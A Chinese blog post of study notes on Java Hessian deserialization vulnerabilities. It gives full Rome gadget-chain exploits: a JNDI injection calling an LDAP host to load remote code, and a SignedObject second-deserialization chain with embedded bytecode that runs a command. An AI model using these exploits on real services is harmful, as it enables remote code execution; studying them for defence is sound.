Hessian反序列化

前言

摆烂了几天了,不能这样了,继续学。

Hessian简介

Hessian是一个二进制的web service协议,官方对Java,python,c++等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。

Hessian序列化/反序列化机制

image-20220407164201828

大致机制如图所示

  • AbstractSerializerFactory:抽象序列化器工厂, 是管理和维护对应序列化/反序列化机制的工厂, 拥有 getSerializer 和 getDeserializer 方法, 默认的几种实现如下.

    • SerializerFactory:标准的实现
    • ExtSerializerFactory:可以设置自定义的序列化机制, 通过该 Factory 可以进行扩展
    • BeanSerializerFactory:对 SerializerFactory 的默认 Object 的序列化机制进行强制指定, 指定为 BeanSerializer
  • Serializer: 序列化的接口, 拥有 writeObject 方法
  • Deserializer:反序列化的接口,拥有readObject()、resdMap()、readList()方法
  • AbstractHessianInput:Hessian自定义的输入流,提供对应的read各种类型的方法
  • AbstractHessianOutput:Hessian自定义的输出流,提供对应的write各种类型的方法

在Hessian的Serializer中,有以下几种默认实现的序列化器:

image-20220407164557881

Deserializer对应也默认实现这些反序列化器

Hessian反序列化与原生反序列化的区别

分别写一下Hessian反序列化和原生反序列化的demo看一下有什么区别

  • Code

    import javax.management.BadAttributeValueExpException;
    import java.io.ObjectInputStream;
    import java.io.Serializable;
    
    public class Code implements Serializable {
        public String name="ttt";
        public int age=222;
    
        public void setAge(int age) {
            this.age = age;
        }
    
        public void setName(String name) {
            this.name = name;
        }
    
        public String getName() {
            return name;
        }
    
        public int getAge() {
            return age;
        }
    
        private void readObject(ObjectInputStream ois){
            System.out.print(1);
        }
    }
  • 原生序列化反序列化

    import java.io.*;
    
    public class demo {
        public static void main(String[] args) throws IOException, ClassNotFoundException {
            ByteArrayOutputStream ser = new ByteArrayOutputStream();
            ObjectOutputStream oser = new ObjectOutputStream(ser);
            oser.writeObject(new Code());
            oser.close();
    
    
            System.out.println(ser);
            ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
            Object newobj=unser.readObject();
        }
    }

image-20220407173411838

  • Hessian序列化反序列化

    import com.caucho.hessian.io.HessianInput;
    import com.caucho.hessian.io.HessianOutput;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    
    public class hessianDemo {
        public static void main(String[] args) throws IOException {
            ByteArrayOutputStream ser = new ByteArrayOutputStream();
            HessianOutput hessianOutput=new HessianOutput(ser);
            hessianOutput.writeObject(new Code());
            hessianOutput.close();
    
            System.out.println(ser);
    
            HessianInput hessianInput=new HessianInput(new ByteArrayInputStream(ser.toByteArray()));
            hessianInput.readObject();
        }
    }

image-20220407173353389

从运行结果中可以看出,Hessian反序列化不会自动调用反序列化类的readObject方法,这也就直接导致JDK原生反序列化的大多数gadgetHessian反序列化中是不能用的。

还有一个很重要的区别,hessian反序列化中序列化的类不需要实现序列化接口。

Hessian反序列化漏洞

虽然Hessian反序列化不会自动调用反序列化类的readObject方法,但其也有自己的特性,当其反序列化Map类型的对象的时候,会自动调用其put方法,写个demo试试

测试类

import java.util.HashMap;

public class testMap extends HashMap {
    @Override
    public Object put(Object key, Object value) {
        System.out.println("test");
        return super.put(key, value);
    }
}

然后将其对象反序列化

image-20220407175522467

可以看到确实调用了put方法,这时看到HashMapput方法

image-20220407175854256

key调用hash方法进行处理

image-20220407175916409

只要key不为空,就会调用其hashCode方法,思路一下就打开了,之前看过的利用链中有部分就用到了hashCode方法,比如rome,又比如cc6等。

就如原生JDK有ysoserialHessian也有对应的工具生成paylaodmarshalsec中就集成了Hessian反序列化的gadget,可以使用其生成paylaod,该工具中集成了5个gadget

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringPartiallyComparableAdvisorHolder

EXP构造(rome)

这里以Rome为例子构造一下POC,要注意的是这里不能使用之前构造的动态加载字节码的gadget

开始也很疑惑为什么不行,就去调试分析了一下。然后跟进到TemplatesImpl#getTransletInstance时,就发现了异常

image-20220410154422530

按照以前分析的TemplatesImpl动态加载字节码,这里因为没有给_class赋值,所以会进入defineTransletClasses方法,实现类的加载,然后在图中第二个断点处实例化类。但是这里的_class并不为空,为了区分这是hessian反序列化和原生反序列化之间的区别,还是rome这条链子的特性,有用rome的原生反序列化链试了一下

image-20220410154944891

可以看到,在使用原生反序列化时,_class也是不为空的。那么为什么在使用原生反序列化的情况下,可以使用TemplatesImpl这条利用链,hessian反序列化就不行呢?

经过调试发现,当使用ToStringBean封装我们构造的TemplatesImpl对象后,其中的_class就已经被赋值了

image-20220410155640245

那么问题大概率是出现在反序列化过程中了,一番观察后终于发现了原因所在。hessian反序列化过程中,TemplatesImpl对象的_class中的classloader被改变了。从上图中可以看到,原本的classloaderTransletClassLoader,看一下反序列化时

image-20220410160130310

变成了Launcher$AppClassLoader,这也就解释了为什么不能成功加载了。

那么不能利用动态加载字节码,就把突破点转移到其他方面。其实rome这条链跟fastjson反序列化有异曲同工之妙,关键点都是在getter的调用上,那么fastjson中的一些利用方式,也可以将其转化为rome的利用方式。回想一下fastjson利用JdbcRowSetImpl实现jndi注入,在这条利用链中,是通过调用setAutoCommit方法触发connect方法进而实现jndi注入。但是在rome中并不能调用到setter,所以不能直接利用,那么如果JdbcRowSetImpl中有一个getter调用了connect方法,不就可以打通整条链子了吗。

image-20220410161752048

刚好有一个符合要求的getter,即getDatabaseMetaData,后续就不多说了,直接构造exp

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.HashMap;

public class hessianDemo {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SQLException {
        //构造JdbcRowSetImpl对象
        JdbcRowSetImpl jdbcRowSet=new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("ldap://192.168.43.66:8888/calc");

        //构造ToStringBean
        ToStringBean toStringBean=new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        ToStringBean toStringBean1=new ToStringBean(String.class,"s");

        //构造ObjectBean
        ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);

        //构造HashMap
        HashMap hashMap=new HashMap();
        hashMap.put(objectBean,"novic4");

        //反射修改字段
        Field obj=EqualsBean.class.getDeclaredField("_obj");
        Field equalsBean=ObjectBean.class.getDeclaredField("_equalsBean");

        obj.setAccessible(true);
        equalsBean.setAccessible(true);

        obj.set(equalsBean.get(objectBean),toStringBean);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        HessianOutput hessianOutput=new HessianOutput(ser);
        hessianOutput.writeObject(hashMap);
        hessianOutput.close();

        System.out.println(ser);
        HessianInput hessianInput=new HessianInput(new ByteArrayInputStream(ser.toByteArray()));
        hessianInput.readObject();
    }

    public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

image-20220410163907058

不出网利用方式(rome)

上面的exp是利用JNDI注入实现RCE,但是如果目标环境是不出网的那么就没法使用这种方法了。所以继续学习一下hessian反序列化依赖rome的不出网利用方式

SignedObject二次反序列化

java.security.SignedObject中有一个getObject方法

image-20220411173258729

可以看到,直接就是一个原生反序列化,那么就可以利用这里实现二次反序列化从而实现RCE。

简单写一下EXP

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import sun.security.provider.DSAPrivateKey;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class romeExp {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException {
        HashMap hashMapx=getObject();

        //构造SignedObject对象
        SignedObject signedObject=new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
            @Override
            protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

            }

            @Override
            protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

            }

            @Override
            protected void engineUpdate(byte b) throws SignatureException {

            }

            @Override
            protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

            }

            @Override
            protected byte[] engineSign() throws SignatureException {
                return new byte[0];
            }

            @Override
            protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                return false;
            }

            @Override
            protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

            }

            @Override
            protected Object engineGetParameter(String param) throws InvalidParameterException {
                return null;
            }
        });


        //构造ToStringBean
        ToStringBean toStringBean=new ToStringBean(SignedObject.class,signedObject);
        ToStringBean toStringBean1=new ToStringBean(String.class,"s");

        //构造ObjectBean
        ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);

        //构造HashMap
        HashMap hashMap=new HashMap();
        hashMap.put(objectBean,"novic4");

        //反射修改字段
        Field obj= EqualsBean.class.getDeclaredField("_obj");
        Field equalsBean=ObjectBean.class.getDeclaredField("_equalsBean");

        obj.setAccessible(true);
        equalsBean.setAccessible(true);

        obj.set(equalsBean.get(objectBean),toStringBean);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        HessianOutput hessianOutput=new HessianOutput(ser);
        hessianOutput.writeObject(hashMap);
        hessianOutput.close();

        System.out.println(ser);
        HessianInput hessianInput=new HessianInput(new ByteArrayInputStream(ser.toByteArray()));
        hessianInput.readObject();
    }

    public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj,value);
    }

    //获取原生反序列化对象
    public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException {
        //构造TemplatesImpl对象
        byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
        byte[][] bytee= new byte[][]{bytecode};
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",bytee);
        setFieldValue(templates,"_name","Code");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //构造ToStringBean
        ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
        ToStringBean toStringBean1=new ToStringBean(String.class,"s");

        //构造ObjectBean
        ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);

        //构造HashMap
        HashMap hashMap=new HashMap();
        hashMap.put(objectBean,"novic4");

        //反射修改字段
        Field obj=EqualsBean.class.getDeclaredField("_obj");
        Field equalsBean=ObjectBean.class.getDeclaredField("_equalsBean");

        obj.setAccessible(true);
        equalsBean.setAccessible(true);

        obj.set(equalsBean.get(objectBean),toStringBean);

        return  hashMap;
    }
}

image-20220411175250117

除了上面这种方式,y4tacker师傅还分享了一种适用于Linux/Unix的方式。就是利用sun.print.UnixPrintService直接执行系统命令,不过本地环境问题就不复现了。

参考文章

https://www.mi1k7ea.com/2020/01/25/Java-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x01-Hessian%E7%AE%80%E4%BB%8B

https://y4tacker.github.io/2022/03/21/year/2022/3/2022%E8%99%8E%E7%AC%A6CTF-Java%E9%83%A8%E5%88%86/#%E5%88%A9%E7%94%A8%E4%B8%80%EF%BC%9ASignedObject%E5%AE%9E%E7%8E%B0%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

本文链接:

http://124.223.185.138/index.php/archives/23.html
1 + 7 =
快来做第一个评论的人吧~